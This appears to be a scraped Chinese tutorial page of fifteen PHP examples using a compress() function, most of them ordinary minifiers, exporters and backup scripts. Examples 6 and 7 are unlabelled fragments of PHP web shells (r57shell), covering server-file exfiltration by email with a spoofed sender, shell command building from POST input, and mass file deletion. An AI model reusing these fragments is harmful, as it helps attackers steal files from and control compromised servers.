本文整理汇总了PHP中compress函数的典型用法代码示例。如果您正苦于以下问题:PHP compress函数的具体用法?PHP compress怎么用?PHP compress使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了compress函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: export_category
function export_category($category)
{
$q = new mysql_squid_builder();
echo "Exporting {$category}\n";
if (!preg_match("#^category_.+?#", $category)) {
$table = "category_" . $q->category_transform_name($category);
} else {
$table = $category;
}
$t = time();
$dirtmp = "/tmp/categories_{$t}";
$Finaldir = "/root/categories";
@mkdir($dirtmp);
@mkdir($Finaldir);
shell_exec("/bin/chmod 777 -R {$dirtmp}");
$sql = "SELECT zmd5,zDate,category,pattern,uuid FROM {$table} WHERE enabled=1 ORDER BY pattern\n\tINTO OUTFILE '{$dirtmp}/{$table}.csv'\n\tFIELDS TERMINATED BY ','\n\tENCLOSED BY '\"'\n\tLINES TERMINATED BY '\\n'";
$q->QUERY_SQL($sql);
if (!$q->ok) {
echo $q->mysql_error . "\n";
}
if (!is_file("{$dirtmp}/{$table}.csv")) {
echo "{$dirtmp}/{$table}.csv no such file\n";
return;
}
echo "{$dirtmp}/{$table}.csv success\n";
compress("{$dirtmp}/{$table}.csv", "{$dirtmp}/{$table}.csv.gz");
if (!is_file("{$dirtmp}/{$table}.csv.gz")) {
echo "Failed {$dirtmp}/{$table}.csv.gz no such file\n";
return;
}
@unlink("{$dirtmp}/{$table}.csv");
echo "Success {$dirtmp}/{$table}.csv.gz\n";
copy("{$dirtmp}/{$table}.csv.gz", "{$Finaldir}/{$table}.csv.gz");
@unlink("{$dirtmp}/{$table}.csv.gz");
}
示例2: loadFiles
function loadFiles()
{
$files = array('../../../kernel/lib/xorg/jQuery/jquery-ui-1.11.2/jquery-ui.min.css', 'reset.css', 'global.css', 'regional.css', 'responsive.css', 'modules/shop.css', 'modules/basket.css', 'animate/animate.css', 'sharrre/style.css', 'tipTip/tipTip.css', 'mcdropdown/jquery.mcdropdown.css', 'fullScreenPureCssSlider/style.css', 'awesomeFont/font-awesome.css');
foreach ($files as $file) {
$string .= file_get_contents($file);
}
return compress($string);
}
示例3: loadFiles
function loadFiles()
{
$files = array('../../../kernel/lib/xorg/modernizr/modernizr.custom.33475.js', '../../../kernel/lib/xorg/jQuery/jquery-ui-1.11.2/external/jquery/jquery.min.1.10.js', '../../../kernel/lib/xorg/jQuery/jquery-ui-1.11.2/jquery-ui.min.js', '../../../kernel/lib/xorg/jQuery/jquery-migrate-1.0.0.min.js', '../../../kernel/lib/xorg/global/global.min.js', '../../../kernel/lib/xorg/jQuery/plugin/address/jquery.address-1.5.min.js', '../../../kernel/lib/xorg/jQuery/plugin/showLoading/jquery.showLoading.min.js', '../../../kernel/lib/xorg/ajax/ajax.js', '../../../kernel/lib/xorg/jQuery/plugin/layerSlider/layerslider.kreaturamedia.jquery-min.js', '../../../kernel/lib/xorg/jQuery/plugin/scrollTo/jquery.scrollTo-1.4.3.1-min.js', '../../../kernel/lib/xorg/global/disableScroll.js', '../../../kernel/lib/xorg/jQuery/plugin/tipTip/jquery.tipTip.minified.js', '../../../kernel/lib/xorg/jQuery/plugin/sharrre/jquery.sharrre-1.3.4.min.js', '../../../kernel/lib/xorg/jQuery/plugin/sharrre/start.js', '../../../kernel/lib/xorg/jQuery/plugin/mcdropdown/jquery.mcdropdown.min.js', '../../../kernel/lib/xorg/jQuery/plugin/mcdropdown/jquery.bgiframe.js', '../../../kernel/lib/xorg/jQuery/plugin/masonry/masonry.pkgd.min.js', '../../../kernel/lib/xorg/jQuery/plugin/hoverDir/jquery.hoverdir.js', '../../../kernel/lib/xorg/jQuery/plugin/elevateZoom/jquery.elevateZoom-3.0.8.min.js', '../../../kernel/lib/xorg/jQuery/plugin/countdown/jquery.countdown.min.js', 'custom.js', 'startUp.js');
foreach ($files as $file) {
$string .= file_get_contents($file);
}
return compress($string);
}
示例4: clustr_error
$clustr_name = $headers['x-clustr-name'];
if (!preg_match("/^[a-z0-9-]+\$/i", $clustr_name)) {
clustr_error("Not a valid clustr name");
}
}
#
# Generate the shapefile
#
$shproot = clustrize($path_points, $alpha, $clustr_name);
if (!$shproot) {
clustr_error("Failed to generate shapefile data");
}
#
# Compress
#
$gz = compress($shproot);
if (!$gz) {
clustr_error("Failed to compress shapefile data");
}
#
# Happy happy
#
$fname = basename($gz);
$enc_fname = htmlspecialchars($fname);
$enc_alpha = htmlspecialchars($alpha);
header("Content-Type: application/gzip");
header("Content-Disposition: attachment; filename={$enc_fname};");
header("Content-Transfer-Encoding: binary");
header("Content-Length: " . filesize($gz));
header("X-clustr-filename: {$enc_fname}");
header("X-clustr-alpha: {$enc_alpha}");
示例5: file_get_contents
<?php
$src = "./t1/publish.php";
$content = file_get_contents($src);
$code = compress($content);
function compress($content){
$code = array();
$tokens = token_get_all($content);
foreach ($tokens as $i => $token)
{
if (is_string($token)) continue;
switch ($token[0])
{
case T_GLOBAL:
break;
case T_FUNCTION:
break;
case T_VAR:
print_r($token);
break;
case T_OPEN_TAG:
case T_CLOSE_TAG:
break;
case T_COMMENT:
case T_DOC_COMMENT:
case T_WHITESPACE:
break;
case T_CASE:
case T_CLASS:
case T_CLONE:
示例6: base64_decode
$f .= base64_decode($c2);
if (isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd'] == "mail") {
$res = mail($_POST['to'], $_POST['subj'], $_POST['text'], "From: " . $POST['from'] . "\r\n");
mr($language, $res);
$_POST['cmd'] = "";
}
if (isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd'] == "mail_file" && !empty($_POST['loc_file'])) {
if (!($file = @fopen($_POST['loc_file'], "r"))) {
echo re($_POST['loc_file']);
$_POST['cmd'] = "";
} else {
$filename = @basename($_POST['loc_file']);
$filedump = @fread($file, @filesize($_POST['loc_file']));
fclose($file);
$content_encoding = $mime_type = '';
compress($filename, $filedump, $_POST['compress']);
$attach = array("name" => $filename, "type" => $mime_type, "content" => $filedump);
if (empty($_POST['subj'])) {
$_POST['subj'] = 'file from r57shell';
}
if (empty($_POST['from'])) {
$_POST['from'] = 'billy@microsoft.com';
}
$res = mailattach($_POST['to'], $_POST['from'], $_POST['subj'], $attach);
mr($language, $res);
$_POST['cmd'] = "";
}
}
if (!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") {
$_POST['cmd'] = 'find ' . $_POST['s_dir'] . ' -name \'' . $_POST['s_mask'] . '\' | xargs grep -E \'' . $_POST['s_text'] . '\'';
}
示例7: header
if (is_file($file)) {
header("Content-Type: " . $mime);
header('Content-Transfer-Encoding: binary');
header("Content-length: " . filesize($file));
echo "data:" . $mime . ";base64," . base64_encode(read_file($file));
die;
}
} elseif (isset($p['massType']) && isset($p['massBuffer']) && isset($p['massPath']) && isset($p['massValue'])) {
$massType = trim($p['massType']);
$massBuffer = trim($p['massBuffer']);
$massPath = realpath($p['massPath']) . DIRECTORY_SEPARATOR;
$massValue = trim($p['massValue']);
$counter = 0;
$massBufferArr = explode("\n", $massBuffer);
if ($massType == 'tar' || $massType == 'targz' || $massType == 'zip') {
if (compress($massType, $massValue, $massBufferArr)) {
$counter++;
return $counter;
}
} else {
foreach ($massBufferArr as $k) {
$path = trim($k);
if (file_exists($path)) {
$preserveTimestamp = filemtime($path);
if ($massType == 'delete') {
if (is_file($path)) {
if (unlink($path)) {
$counter++;
}
} elseif (is_dir($path)) {
if (rmdirs($path) > 0) {
示例8: script
public static function script($appid, $sql, $variable, $file, $option = array())
{
global $_G;
//主键
$option['index'] = $option['index'] ? $option['index'] : 'id';
//编码
$option['charset'] = $option['charset'] ? $option['charset'] : 'utf-8';
//压缩文本
$option['compress'] = $option['compress'] ? $option['compress'] : TRUE;
//unicode 编码
$option['unicode'] = isset($option['unicode']) ? $option['unicode'] : TRUE;
//html 实体符
$option['entity'] = isset($option['entity']) ? $option['entity'] : FALSE;
/////////////////////////
//查询数据
$part = System::$db->getAll($sql, $option['index']);
foreach ($part as &$row) {
$row = self::format($row, $option);
}
$string = var_export($part, TRUE);
//转换成 JSON 格式
$string = str_replace(array('=>', 'array (', '),'), array(':', '{', '},'), $string);
//构造变量名
$string = 'var ' . $variable . ' = ' . $string . ';';
//去除多余的逗号
$string = preg_replace('/\\,(\\s*)\\}/', '\\1}', $string);
$string = preg_replace('/\\}\\,(\\s*)\\)\\;/', '}\\1};', $string);
//转换相关关键字
$string = str_replace(': NULL', ': null', $string);
//unicode 编码
if ($option['unicode'] === TRUE) {
$string = unicode_encode($string, $_G['product']['charset']);
} else {
$string = stripslashes($string);
}
//html 实体符
if ($option['entity'] === TRUE) {
$string = entity_encode($string, $_G['product']['charset']);
}
//压缩文本
if ($option['compress'] === TRUE) {
$string = compress($string);
}
//存储编码
if ($_G['product']['charset'] != $option['charset']) {
$string = iconv($_G['product']['charset'], $option['charset'], $string);
}
$string = '/*' . date("Y-m-t H:i:s") . '*/' . chr(10) . $string;
//写入缓存
create_file(self::direct($appid) . str_replace(array('sys.', 'mod.'), array('script.', 'script.'), $file) . ".js", $string);
}
示例9: getScript
private function getScript($ext)
{
if ($ext === "css") {
$scripts = array_merge($this->topCSS, $this->bottomCSS);
} elseif ($ext === "js") {
$scripts = array_merge($this->topJS, $this->bottomJS);
} else {
return null;
}
if (count($scripts) > 0) {
if (_get("environment") < 3 or !_get("optimization")) {
array_walk($scripts, create_function('&$val', '$val = "' . _get("webURL") . '/$val";'));
if ($ext === "css") {
return '<link rel="stylesheet" href="' . implode('" type="text/css" /><link rel="stylesheet" href="', $scripts) . '" type="text/css" />';
} else {
return '<script type="text/javascript" src="' . implode('"></script><script type="text/javascript" src="', $scripts) . '"></script>';
}
} else {
$filename = CACHE_DIR . '/' . $ext . '/' . md5(implode(':', $scripts)) . '.' . $ext;
if (!is_file($filename)) {
$contents = "";
foreach ($scripts as $file) {
$contents .= @file_get_contents($file) . "\n";
}
$contents = compress($contents, $ext);
file_put_contents($filename, $contents, LOCK_EX);
}
if ($ext === "css") {
return '<link rel="stylesheet" href="' . _get("webURL") . '/' . $filename . '" type="text/css" />';
} else {
return '<script type="text/javascript" src="' . _get("webURL") . '/' . $filename . '"></script>';
}
}
}
}
示例10: F
/**
* 快速缓存 以文件形式缓存
* @param String $name 缓存KEY
* @param bool $value 删除缓存
* @param string $path 缓存目录
* @return bool
*/
function F($name, $value = false, $path = CACHE_PATH)
{
$_cache = array();
$cacheFile = rtrim($path, '/') . '/' . $name . '.php';
if (is_null($value)) {
if (is_file($cacheFile)) {
unlink($cacheFile);
unset($_cache[$name]);
}
return true;
}
if ($value === false) {
if (isset($_cache[$name])) {
return $_cache[$name];
}
return is_file($cacheFile) ? include $cacheFile : null;
}
$data = "<?php if(!defined('HDPHP_PATH'))exit;\nreturn " . compress(var_export($value, true)) . ";\n?>";
is_dir($path) || dir_create($path);
if (!file_put_contents($cacheFile, $data)) {
return false;
}
$_cache[$name] = $data;
return true;
}
示例11: saveDb
/**
* saves var toRecord values in the database, serializing arrays
*/
function saveDb()
{
if (COMPRESS_DB_DATA && function_exists('gzcompress')) {
$this->toRecord['compressed'] = 1;
} else {
$this->toRecord['compressed'] = 0;
}
/*
print("<pre>");
var_dump($this->toRecord);
print("<br><br><br>");
*/
foreach ($this->toRecord as $fieldName => $a_value) {
if (is_array($a_value)) {
$a_value = databaseEscape(compress(serialize($a_value), $this->toRecord['compressed']));
}
//print("<br>update $fieldName data = ".strlen(serialize($a_value)));
updateLine(T_ARCHIVES, array($fieldName => $a_value, 'idarchives' => $this->idArchives), 'idarchives');
}
$this->updateDbState();
}
示例12: uploadFile
function uploadFile($file, $dir, $plus)
{
$archivo = $_FILES[$file]['name'];
$tamano = $_FILES[$file]['size'];
$ext = strtolower(substr($archivo, strlen($archivo) - 3, 3));
$name = md5(time() + $plus);
$name2 = $name . "." . $ext;
if ($archivo != "") {
// --> validaciones del archivo a subir
if (file_exists($dir . $name2)) {
// -> si existe el archivo te lo vuelas
@unlink($dir . $name2);
}
$nombre_archivo_temp = $name . "." . $ext;
if ($ext == "jpg" || $ext == "png" || $ext == "gif") {
$destination = $dir . $nombre_archivo_temp;
compress($_FILES[$file]['tmp_name'], $destination, 70);
} else {
if (is_uploaded_file($_FILES[$file]['tmp_name'])) {
copy($_FILES[$file]['tmp_name'], $dir . $nombre_archivo_temp);
}
}
return $nombre_archivo_temp;
} else {
return false;
}
}
示例13: export
function export($ou, $path)
{
@file_put_contents($pidfile, getmypid());
//if(strlen($GLOBALS["USER_QUERY"])>0){$filter="(uid={$GLOBALS["USER_QUERY"]})";}
$ldap = new clladp();
$pattern = "(&(objectclass=userAccount){$filter})";
$attr = array();
$sr = @ldap_search($ldap->ldap_connection, "ou={$ou},dc=organizations,{$ldap->suffix}", $pattern, $attr);
$hash = ldap_get_entries($ldap->ldap_connection, $sr);
$unix = new unix();
$gzip = $unix->find_program("gzip");
$users_array = array();
if (is_array($hash)) {
for ($i = 0; $i < $hash["count"]; $i++) {
$usersArray[] = $hash[$i]["uid"][0];
}
}
if (is_array($usersArray)) {
while (list($index, $uid) = each($usersArray)) {
echo "Parsing {$uid}\n";
$u = new user($uid);
$array_user = array();
foreach ($u as $key => $value) {
$array_user[$key] = $value;
}
$array_users_final[] = $array_user;
unset($array_user);
}
}
$groups = $ldap->hash_groups($ou, 1);
while (list($num, $line) = each($groups)) {
echo "Parsing group {$num} {$line}\n";
$u = new groups($num);
$array_group = array();
foreach ($u as $key => $value) {
$array_group[$key] = $value;
}
$array_group_final[] = $array_group;
unset($array_group);
}
$array_final["USERS"] = $array_users_final;
$array_final["GROUPS"] = $array_group_final;
$tempfile = $unix->FILE_TEMP();
$datas = base64_encode(serialize($array_final));
@file_put_contents($tempfile, $datas);
if (is_dir($path)) {
compress($tempfile, $path . "/{$ou}.gz");
echo "Saved in " . $path . "/{$ou}.gz\n";
@chmod($path . "/{$ou}.gz", 0755);
} else {
echo $path . " no such directory...\n";
}
@unlink($tempfile);
}
示例14: file_put_contents
// Build raw
file_put_contents(__DIR__ . "/../build/components/{$componentName}.js", render(__DIR__ . '/copyright.php', array('content' => file_get_contents($componentSourcePath))));
// Build minified
file_put_contents(__DIR__ . "/../build/components/{$componentName}-min.js", render(__DIR__ . '/copyright.php', array('content' => compress(file_get_contents($componentSourcePath)))));
}
// Build rollups
mkdir(__DIR__ . '/../build/rollups', 0777, true);
foreach ($build['rollups'] as $rollupName => $components) {
// Compute component source paths
$componentSourcePaths = array_map(function ($componentName) {
return __DIR__ . "/../src/{$componentName}.js";
}, $components);
// Get component source contents
$componentSourceContents = implode('', array_map('file_get_contents', $componentSourcePaths));
// Build rollup
file_put_contents(__DIR__ . "/../build/rollups/{$rollupName}.js", render(__DIR__ . '/copyright.php', array('content' => compress($componentSourceContents))));
}
function render($__template__, $__params__)
{
extract($__params__);
ob_start();
include $__template__;
$content = ob_get_clean();
return $content;
}
function compress($jsContent)
{
// Open process
$cmd = 'java -jar "' . __DIR__ . '/bin/compiler/compiler.jar"';
$descriptors = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
$process = proc_open($cmd, $descriptors, $pipes);
示例15: database_dump
function database_dump($database, $instanceid)
{
$q = new mysql();
$unix = new unix();
$mysqldump = $unix->find_program("mysqldump");
if (!is_file($mysqldump)) {
return;
}
$options = "--add-drop-table --no-create-info --no-create-db --skip-comments";
echo "Dump {$database} with instance {$instanceid} ({$mysqldump})\n";
if ($instanceid > 0) {
$q = new mysql_multi($instance_id);
if ($q->mysql_password != null) {
$password = " --password={$q->mysql_password} ";
}
$cmdline = "{$mysqldump} --user={$q->mysql_admin}{$password} --socket={$q->SocketPath} {$options} --databases {$database} >/tmp/{$database}.sql 2>&1";
} else {
$q = new mysql();
if ($q->mysql_server == "127.0.0.1") {
$servcmd = " --socket=/var/run/mysqld/mysqld.sock ";
} else {
$servcmd = " --host={$q->mysql_server} --port={$q->mysql_port} ";
}
if ($q->mysql_password != null) {
$password = " --password={$q->mysql_password} ";
}
$cmdline = "{$mysqldump} --user={$q->mysql_admin}{$password} {$servcmd} {$options} --databases {$database} >/tmp/{$database}.sql 2>&1";
}
$results[] = $cmdline;
exec($cmdline, $results);
echo @implode("\n", $results);
compress("/tmp/{$database}.sql", "/usr/share/artica-postfix/ressources/logs/web/{$database}.gz");
@unlink("/tmp/{$database}.sql");
@chmod("/usr/share/artica-postfix/ressources/logs/web/{$database}.gz", 0777);
}